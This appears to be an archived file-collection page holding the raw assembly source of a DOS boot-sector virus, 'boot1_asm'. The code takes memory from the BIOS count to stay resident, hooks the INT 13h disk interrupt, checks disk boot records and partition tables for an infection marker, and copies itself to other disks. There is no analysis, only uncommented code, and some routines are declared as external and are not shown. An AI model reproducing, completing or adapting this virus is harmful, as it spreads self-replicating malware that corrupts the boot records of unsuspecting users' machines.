home *** CD-ROM | disk | FTP | other *** search
- name boot1_asm
- .radix 16
-
- start:
- jmp boot
-
- db 'IBM 3.3'
- dw 200
- db 2
- dw 1
- db 2
- dw 70
- dw 2D0
- db 0FDh
- dw 2
- dw 9
- dw 2
- dw 0
-
- boot:
- xor ax,ax
- mov ss,ax
- mov sp,7C00
- mov ds,ax
- mov ax,[413]
- sub ax,2
- mov [413],ax
- mov cl,6
- shl ax,cl
- sub ax,7C0
- mov es,ax
- mov si,7C00
- mov di,si
- mov cx,100
- rep movsw
- db 8E,0C8
- ; mov cs,ax
- push cs
- pop ds
- call n_00014A
- n_00014A:
- xor ah,ah
- int 13
- and byte ptr [7DF8],80
- mov bx,[7DF9]
- push cs
- pop ax
- sub ax,20
- mov es,ax
- call n_00019D
- mov bx,[7DF9]
- inc bx
- mov ax,0FFC0
- mov es,ax
- call n_00019D
- xor ax,ax
- mov byte ptr [7DF7],al
- mov ds,ax
- mov ax,[4C]
- mov bx,[4E]
- mov [4C],7CD0
- mov [4E],cs
- push cs
- pop ds
- mov [7D2A],ax
- mov [7D2C],bx
- mov dl,byte ptr [7DF8]
- jmp far ptr f_007C00
-
- mov ax,301
- jmp short n_0001A0
- n_00019D:
- mov ax,201
- n_0001A0:
- xchg ax,bx
- add ax,[7C1C]
- xor dx,dx
- div word ptr [7C18]
- inc dl
- mov ch,dl
- xor dx,dx
- div word ptr [7C1A]
- mov cl,6
- shl ah,cl
- or ah,ch
- mov cx,ax
- xchg ch,cl
- mov dh,dl
- mov ax,bx
- n_0001C3:
- mov dl,byte ptr [7DF8]
- mov bx,8000
- int 13
- jnb n_0001CF
- pop ax
- n_0001CF:
- ret
-
- push ds
- push es
- push ax
- push bx
- push cx
- push dx
- push cs
- pop ds
- push cs
- pop es
- test byte ptr [7DF7],1
- jne n_000223
- cmp ah,2
- jne n_000223
- cmp byte ptr [7DF8],dl
- mov byte ptr [7DF8],dl
- jne n_000212
- xor ah,ah
- int 1A
- test dh,7F
- jne n_000203
- test dl,0F0
- jne n_000203
- push dx
- call n_0003B3
- pop dx
- n_000203:
- mov cx,dx
- sub dx,[7EB0]
- mov [7EB0],cx
- sub dx,24
- jb n_000223
- n_000212:
- or byte ptr [7DF7],1
- push si
- push di
- call n_00022E
- pop di
- pop si
- and byte ptr [7DF7],0FE
- n_000223:
- pop dx
- pop cx
- pop bx
- pop ax
- pop es
- pop ds
- jmp far ptr f_0C833E
-
- n_00022E:
- mov ax,201
- mov dh,0
- mov cx,1
- call n_0001C3
- test byte ptr [7DF8],80
- jz n_000263
- mov si,81BE
- mov cx,4
- n_000246:
- cmp byte ptr [si+4],1
- je n_000258
- cmp byte ptr [si+4],4
- je n_000258
- add si,10
- loop n_000246
- ret
-
- n_000258:
- mov dx,[si]
- mov cx,[si+2]
- mov ax,201
- call n_0001C3
- n_000263:
- mov si,8002
- mov di,7C02
- mov cx,1C
- rep movsb
- cmp [81FC],1357
- jne n_00028B
- cmp byte ptr [81FBh],0
- jnb n_00028A
- mov ax,[81F5]
- mov [7DF5],ax
- mov si,[81F9]
- jmp n_000392
- n_00028A:
- ret
-
- n_00028B:
- cmp [800Bh],200
- jne n_00028A
- cmp byte ptr [800Dh],2
- jb n_00028A
- mov cx,[800E]
- mov al,[8010]
- cbw
- mul word ptr [8016]
- add cx,ax
- mov ax,20
- mul word ptr [8011]
- add ax,1FF
- mov bx,200
- div bx
- add cx,ax
- mov word ptr [7DF5],cx
- mov ax,[7C13]
- sub ax,[7DF5]
- mov bl,[7C0Dh]
- xor dx,dx
- xor bh,bh
- div bx
- inc ax
- mov di,ax
- and byte ptr [7DF7],0FBh
- cmp ax,0FF0
- jbe n_0002E0
- or byte ptr [7DF7],4
- n_0002E0:
- mov si,1
- mov bx,[7C0E]
- dec bx
- mov [7DF3],bx
- mov byte ptr [7EB2],0FE
- jmp short n_000300
-
- db 1,0,0C,0,1,0,48,1,0,57,13
-
- dw 0AA55
-
- n_000300:
-
- extrn n_000392:near,n_0003B3:near
- extrn f_007C00:far,f_0C833E:far